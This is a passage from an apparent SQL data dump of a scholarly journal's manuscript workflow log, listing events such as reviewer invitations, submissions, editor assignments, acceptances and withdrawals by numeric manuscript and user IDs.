00:00:00','Editor has Accepted to review Manuscript',6764,'Editor',1408),(57982,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6764,'Editor',1408),(58004,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6695,'Publisher',673),(58010,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',6849,'Author',8114),(58016,'0000-00-00 00:00:00','Reviewer has submitted comments',6808,'Reviewer',5467),(58017,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',6851,'Author',8116),(58062,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',6854,'Author',8119),(58066,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6843,'Publisher',274),(58067,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6843,'Publisher',274),(58068,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6840,'Publisher',274),(58069,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6840,'Publisher',274),(58070,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6840,'Publisher',274),(58071,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6826,'Publisher',274),(58072,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6826,'Publisher',274),(58073,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6826,'Publisher',274),(58074,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6826,'Publisher',274),(58076,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(58077,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(58078,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(58079,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(58080,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(58081,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(58082,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(58083,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(58084,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(58085,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(58086,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(58087,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(58088,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(58089,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(58090,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(58091,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(58092,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(58093,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(58094,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(58095,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(58096,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(58097,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(58098,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6237,'Publisher',84),(58101,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6765,'Publisher',673),(58102,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6765,'Publisher',673),(58103,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6765,'Publisher',673),(58104,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6765,'Publisher',673),(58105,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6732,'Publisher',673),(58106,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6732,'Publisher',673),(58107,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6732,'Publisher',673),(58108,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6732,'Publisher',673),(58109,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6732,'Publisher',673),(58110,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6731,'Publisher',673),(58117,'0000-00-00 00:00:00','Publisher : Notified Author',6348,'Publisher',85),(58118,'0000-00-00 00:00:00','Publisher : Notified Author',6347,'Publisher',85),(58119,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6775,'Publisher',85),(58120,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6764,'Publisher',85),(58139,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6797,'Publisher',85),(58140,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6797,'Publisher',85),(58141,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6797,'Publisher',85),(58142,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6797,'Publisher',85),(58143,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6851,'Publisher',85),(58144,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6848,'Publisher',85),(58145,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6851,'Publisher',85),(58146,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6851,'Publisher',85),(58147,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6851,'Publisher',85),(58148,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6851,'Publisher',85),(58149,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6848,'Publisher',85),(58150,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6848,'Publisher',85),(58151,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6848,'Publisher',85),(58152,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6848,'Publisher',85),(58153,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6848,'Publisher',85),(58154,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6848,'Publisher',85),(58155,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6848,'Publisher',85),(58156,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6848,'Publisher',85),(58157,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6848,'Publisher',85),(58158,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6848,'Publisher',85),(58159,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6630,'Publisher',319),(58160,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(58161,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(58162,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(58163,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(58164,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(58165,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(58167,'0000-00-00 00:00:00','Reviewer has submitted comments',6572,'Reviewer',15589),(58168,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',6860,'Author',8126),(58171,'0000-00-00 00:00:00','Reviewer has submitted comments',6741,'Reviewer',10963),(58180,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6849,'Publisher',984),(58181,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6854,'Publisher',984),(58184,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6549,'Publisher',248),(58202,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6860,'Publisher',988),(58203,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',6862,'Author',8128),(58204,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6862,'Publisher',988),(58215,'0000-00-00 00:00:00','Manuscript Submitted by Author',6863,'Author',7951),(58220,'0000-00-00 00:00:00','Manuscript Submitted by Author',6865,'Author',8129),(58221,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6837,'Publisher',48),(58225,'0000-00-00 00:00:00','Publisher : Notified Editor',6572,'Publisher',85),(58230,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6572,'Editor',1408),(58231,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',6572,'Editor',1408),(58233,'0000-00-00 00:00:00','Publisher : Notified Author',6572,'Publisher',85),(58240,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6837,'Editor',194),(58241,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6837,'Editor',194),(58243,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6837,'Editor',194),(58246,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6808,'Editor',194),(58247,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6808,'Editor',194),(58249,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6837,'Publisher',48),(58251,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6808,'Publisher',48),(58252,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6865,'Publisher',376),(58253,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6751,'Publisher',48),(58267,'0000-00-00 00:00:00','Publisher : Notified Editor',6731,'Publisher',673),(58268,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6731,'Editor',1370),(58269,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6731,'Editor',1370),(58285,'0000-00-00 00:00:00','Publisher : Notified Author',6572,'Publisher',85),(58286,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6731,'Publisher',673),(58287,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6731,'Publisher',673),(58288,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6731,'Publisher',673),(58289,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6731,'Publisher',673),(58290,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6863,'Publisher',673),(58291,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6863,'Publisher',673),(58292,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6863,'Publisher',673),(58293,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6863,'Publisher',673),(58294,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6863,'Publisher',673),(58295,'0000-00-00 00:00:00','Reviewer has submitted comments',6689,'Reviewer',15340),(58296,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6689,'Editor',1408),(58297,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6689,'Editor',1408),(58298,'0000-00-00 00:00:00','Manuscript Submitted by Author',6873,'Author',6822),(58300,'0000-00-00 00:00:00','Reviewer has submitted comments',6797,'Reviewer',15533),(58323,'0000-00-00 00:00:00','Reviewer has submitted comments',6782,'Reviewer',14994),(58325,'0000-00-00 00:00:00','Manuscript Submitted by Author',6875,'Author',7181),(58332,'0000-00-00 00:00:00','Manuscript Submitted by Author',6880,'Author',7951),(58345,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6862,'Publisher',988),(58346,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6862,'Publisher',988),(58347,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6860,'Publisher',988),(58348,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6860,'Publisher',988),(58358,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6466,'Publisher',248),(58359,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6466,'Publisher',248),(58360,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6466,'Publisher',248),(58361,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6466,'Publisher',248),(58362,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6466,'Publisher',248),(58363,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6466,'Publisher',248),(58364,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6466,'Publisher',248),(58365,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6466,'Publisher',248),(58366,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6466,'Publisher',248),(58367,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6466,'Publisher',248),(58368,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6466,'Publisher',248),(58369,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6466,'Publisher',248),(58370,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6466,'Publisher',248),(58371,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6466,'Publisher',248),(58372,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6466,'Publisher',248),(58373,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6466,'Publisher',248),(58374,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6466,'Publisher',248),(58375,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6466,'Publisher',248),(58376,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6466,'Publisher',248),(58377,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6466,'Publisher',248),(58378,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6466,'Publisher',248),(58380,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',6886,'Author',8151),(58381,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6765,'Editor',1370),(58382,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6765,'Editor',1370),(58383,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6731,'Editor',1370),(58387,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',6887,'Publisher',48),(58390,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',6888,'Author',8152),(58408,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6817,'Publisher',75),(58409,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6817,'Publisher',75),(58410,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6817,'Publisher',75),(58411,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6824,'Publisher',75),(58412,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6825,'Publisher',75),(58433,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',4641,'Publisher',48),(58437,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6863,'Publisher',673),(58438,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6863,'Publisher',673),(58439,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6863,'Publisher',673),(58440,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6863,'Publisher',673),(58441,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6863,'Publisher',673),(58442,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6863,'Publisher',673),(58443,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6863,'Publisher',673),(58444,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6863,'Publisher',673),(58447,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6880,'Publisher',673),(58451,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',5702,'Publisher',48),(58458,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6862,'Editor',1410),(58459,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6880,'Publisher',673),(58460,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6880,'Publisher',673),(58461,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6880,'Publisher',673),(58462,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6880,'Publisher',673),(58463,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6880,'Publisher',673),(58464,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6146,'Publisher',48),(58465,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6126,'Publisher',48),(58466,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6862,'Editor',1410),(58467,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6887,'Publisher',48),(58468,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6886,'Publisher',48),(58469,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6873,'Publisher',48),(58485,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6865,'Publisher',376),(58486,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6865,'Publisher',376),(58487,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6865,'Publisher',376),(58488,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6865,'Publisher',376),(58489,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6752,'Publisher',376),(58491,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6825,'Editor',160),(58492,'0000-00-00 00:00:00','Editor has Invited Reviewer',6825,'Editor',160),(58493,'0000-00-00 00:00:00','Editor has Invited Reviewer',6825,'Editor',160),(58494,'0000-00-00 00:00:00','Editor has Invited Reviewer',6825,'Editor',160),(58495,'0000-00-00 00:00:00','Editor has Invited Reviewer',6825,'Editor',160),(58496,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6689,'Publisher',85),(58500,'0000-00-00 00:00:00','Author sent Email',6860,'Author',8126),(58502,'0000-00-00 00:00:00','Author sent Email',6572,'Author',7831),(58509,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6887,'Publisher',48),(58510,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6886,'Publisher',48),(58511,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6873,'Publisher',48),(58513,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6888,'Publisher',988),(58514,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6875,'Publisher',988),(58516,'0000-00-00 00:00:00','Publisher : Notified Editor',6732,'Publisher',673),(58517,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6732,'Editor',1456),(58518,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',6732,'Editor',1456),(58519,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6755,'Publisher',673),(58520,'0000-00-00 00:00:00','Publisher : Notified Author',6732,'Publisher',673),(58521,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6755,'Publisher',673),(58522,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6755,'Publisher',673),(58523,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6755,'Publisher',673),(58524,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6755,'Publisher',673),(58525,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6755,'Publisher',673),(58526,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6755,'Publisher',673),(58527,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6863,'Publisher',673),(58528,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6863,'Publisher',673),(58541,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6677,'Publisher',319),(58542,'0000-00-00 00:00:00','Reviewer has submitted comments',6765,'Reviewer',11355),(58575,'0000-00-00 00:00:00','Publisher : Notified Editor',6797,'Publisher',85),(58576,'0000-00-00 00:00:00','Publisher : Notified Editor',6782,'Publisher',85),(58583,'0000-00-00 00:00:00','Reviewer has submitted comments',6863,'Reviewer',14805),(58593,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6540,'Publisher',248),(58594,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6540,'Publisher',248),(58595,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6540,'Publisher',248),(58596,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6540,'Publisher',248),(58597,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6540,'Publisher',248),(58598,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6239,'Publisher',248),(58599,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6239,'Publisher',248),(58600,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6239,'Publisher',248),(58601,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6239,'Publisher',248),(58602,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6239,'Publisher',248),(58603,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6239,'Publisher',248),(58604,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6239,'Publisher',248),(58605,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6239,'Publisher',248),(58606,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6239,'Publisher',248),(58607,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6239,'Publisher',248),(58608,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6239,'Publisher',248),(58609,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6239,'Publisher',248),(58610,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6239,'Publisher',248),(58611,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6239,'Publisher',248),(58612,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6880,'Publisher',673),(58613,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6880,'Publisher',673),(58614,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6880,'Publisher',673),(58615,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6880,'Publisher',673),(58616,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6755,'Publisher',673),(58617,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6755,'Publisher',673),(58618,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6755,'Publisher',673),(58619,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6755,'Publisher',673),(58622,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6851,'Publisher',85),(58623,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6851,'Publisher',85),(58627,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',4870,'Publisher',48),(58628,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',5089,'Publisher',48),(58633,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',6905,'Author',8171),(58636,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',6908,'Author',8175),(58666,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',6909,'Author',8176),(58670,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',6910,'Publisher',48),(58682,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6910,'Publisher',48),(58683,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6908,'Publisher',48),(58684,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6910,'Publisher',48),(58685,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6910,'Publisher',48),(58686,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6910,'Publisher',48),(58687,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6910,'Publisher',48),(58688,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6910,'Publisher',48),(58689,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6908,'Publisher',48),(58690,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6908,'Publisher',48),(58691,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6908,'Publisher',48),(58692,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6908,'Publisher',48),(58693,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6908,'Publisher',48),(58694,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6887,'Publisher',48),(58695,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6887,'Publisher',48),(58696,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6887,'Publisher',48),(58697,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6887,'Publisher',48),(58698,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6886,'Publisher',48),(58699,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6886,'Publisher',48),(58700,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6886,'Publisher',48),(58701,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6886,'Publisher',48),(58702,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6886,'Publisher',48),(58703,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6873,'Publisher',48),(58704,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6873,'Publisher',48),(58705,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6873,'Publisher',48),(58706,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6873,'Publisher',48),(58707,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6873,'Publisher',48),(58711,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6837,'Publisher',48),(58712,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6837,'Publisher',48),(58713,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6837,'Publisher',48),(58718,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6759,'Publisher',48),(58719,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6759,'Publisher',48),(58720,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6759,'Publisher',48),(58721,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6759,'Publisher',48),(58722,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6761,'Publisher',48),(58723,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6761,'Publisher',48),(58724,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6761,'Publisher',48),(58725,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6761,'Publisher',48),(58726,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6761,'Publisher',48),(58727,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6808,'Publisher',48),(58728,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6808,'Publisher',48),(58729,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6808,'Publisher',48),(58730,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6808,'Publisher',48),(58759,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6880,'Publisher',673),(58760,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6880,'Publisher',673),(58761,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6880,'Publisher',673),(58762,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6880,'Publisher',673),(58763,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6880,'Publisher',673),(58764,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6880,'Publisher',673),(58765,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6755,'Publisher',673),(58766,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6755,'Publisher',673),(58767,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6755,'Publisher',673),(58768,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6755,'Publisher',673),(58769,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6755,'Publisher',673),(58770,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6862,'Editor',1410),(58771,'0000-00-00 00:00:00','Editor has Invited Reviewer',6862,'Editor',1410),(58782,'0000-00-00 00:00:00','Reviewer has submitted comments',6862,'Reviewer',13180),(58783,'0000-00-00 00:00:00','Reviewer has submitted comments',6043,'Reviewer',9154),(58784,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6862,'Editor',1410),(58791,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6837,'Editor',194),(58795,'0000-00-00 00:00:00','Reviewer has updated comments',6808,'Reviewer',5467),(58797,'0000-00-00 00:00:00','Reviewer has submitted comments',6873,'Reviewer',5467),(58798,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6540,'Publisher',248),(58799,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6540,'Publisher',248),(58800,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6540,'Publisher',248),(58801,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6540,'Publisher',248),(58802,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6540,'Publisher',248),(58803,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6540,'Publisher',248),(58804,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6540,'Publisher',248),(58805,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6540,'Publisher',248),(58806,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6540,'Publisher',248),(58807,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6540,'Publisher',248),(58808,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6540,'Publisher',248),(58809,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6540,'Publisher',248),(58810,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6540,'Publisher',248),(58811,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6540,'Publisher',248),(58812,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6540,'Publisher',248),(58813,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6540,'Publisher',248),(58814,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6540,'Publisher',248),(58815,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6540,'Publisher',248),(58816,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6540,'Publisher',248),(58817,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6540,'Publisher',248),(58818,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6253,'Publisher',75),(58819,'0000-00-00 00:00:00','Reviewer has submitted comments',6253,'Reviewer',13225),(58820,'0000-00-00 00:00:00','Publisher : Notified Editor',6253,'Publisher',75),(58821,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6253,'Editor',162),(58822,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6506,'Editor',162),(58823,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6591,'Editor',162),(58824,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6684,'Editor',162),(58825,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6710,'Editor',162),(58826,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6253,'Publisher',75),(58828,'0000-00-00 00:00:00','Editor has Accepted to review 